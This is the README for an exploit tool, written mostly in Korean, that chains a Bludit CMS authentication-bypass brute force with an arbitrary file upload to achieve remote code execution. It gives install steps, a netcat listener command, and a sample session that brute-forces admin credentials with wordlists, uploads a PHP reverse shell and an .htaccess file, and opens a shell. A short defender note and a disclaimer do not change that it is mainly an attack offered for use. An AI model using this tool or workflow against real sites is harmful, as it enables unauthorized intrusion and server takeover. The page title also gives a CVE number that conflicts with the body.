
cve-2016-16113
_ _____ ___ _
__| |___ /_ ___ __ / _ \ _ __ ___ (_)
/ _` | |_ \ \ / / '_ \| | | | '_ ` _ \| |
| (_| |___) \ V /| | | | |_| | | | | | | |
\__,_|____/ \_/ |_| |_|\___/|_| |_| |_|_|
CVE-2019-17240(인증 우회)와 CVE-2019-16113(임의 파일 업로드)를 결합하여 취약한 Bludit CMS 설치에서 원격 코드 실행을 달성하는 자동화된 익스플로잇 도구입니다.
승인된 보안 테스트 전용
이 도구는 합법적인 경계 내에서 수행되는 공인된 침투 테스트 및 보안 연구를 수행하는 보안 전문가를 대상으로 합니다. 승인되지 않은 컴퓨터 시스템에 대한 무단 접근은 미국의 컴퓨터 사기 및 남용법(CFAA) 및 전 세계의 유사한 법률에 따라 불법입니다.
이 도구를 사용함으로써 귀하는 다음에 동의하는 것으로 간주됩니다:
저자는 어떠한 책임도 지지 않으며 이 도구의 오용이나 손해에 대해 책임을 지지 않습니다.
이 익스플로잇은 다음 과정을 자동화합니다:
영향 받는 버전: Bludit CMS 3.9.2 이하
requests# 리포지토리 클론
git clone https://github.com/yourusername/get-rce.git
cd get-rce
# 의존성 설치
pip install -r requirements.txt
requirements.txt:
requests>=2.25.0
python3 get_rce.py
스크립트가 다음 정보를 묻습니다:
https://target.com)익스플로잇을 실행하기 전에 netcat 리스너를 설정하세요:
nc -lvnp 4444
4444를 선택한 포트로 바꾸세요.
$ python3 get_rce.py
Enter target URL (i.e. https://target.com): http://10.10.10.191
[ ~ ] Enter listener's IP: 10.10.14.5
[ ~ ] Enter listener's port: 4444
[...] Checking if the target is live...
[ + ] The target is live! We are good to go...
[ ~ ] Should I bruteforce username? [Y/N]: N
[ ~ ] What username should I use? (leave this to use admin as username):
[...] We are gonna default to 'admin' as username.
[ ~ ] Enter the location for password list: /usr/share/wordlists/rockyou.txt
[ * ] Tried: 123456
[ * ] Tried: password
[ * ] Tried: 12345678
...
[ + ] Creds found: admin:Password123
[ + ] Login succeed... We are good to go :)
[ + ] The payload XyZaBcDeFg.php has been uploaded...
[ + ] The payload .htaccess has been uploaded...
[...] Attempting to get a shell... @ http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php
[ + ] You should be getting a shell by now, if not open http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php
Should I bruteforce username? [Y/N]: N
What username should I use?: admin
Enter the location for password list: /path/to/passwords.txt
Should I bruteforce username? [Y/N]: Y
Enter the location for username wordlist: /path/to/usernames.txt
Enter the location for password wordlist: /path/to/passwords.txt
SecLists: https://github.com/danielmiessler/SecLists
SecLists/Usernames/Names/names.txtSecLists/Passwords/Common-Credentials/10-million-password-list-top-1000.txtRockYou: /usr/share/wordlists/rockyou.txt (Kali Linux)
X-Forwarded-For 헤더를 조작하여 속도 제한 우회/bl-content/tmp/에 PHP 리버스 셸 업로드.htaccess 파일 업로드시스템 관리자인 경우:
/bl-content/tmp/ 디렉터리에서 의심스러운 파일을 모니터링하세요.문제: "대상이 다운된 것 같습니다"
문제: "로그인 실패"
문제: "셸을 받지 못했습니다"
d3vn0mi
이 프로젝트는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 이 README 상단의 고지 사항을 참조하세요.
기여, 문제 제기 및 기능 요청은 환영합니다! issues 페이지를 확인해 주세요.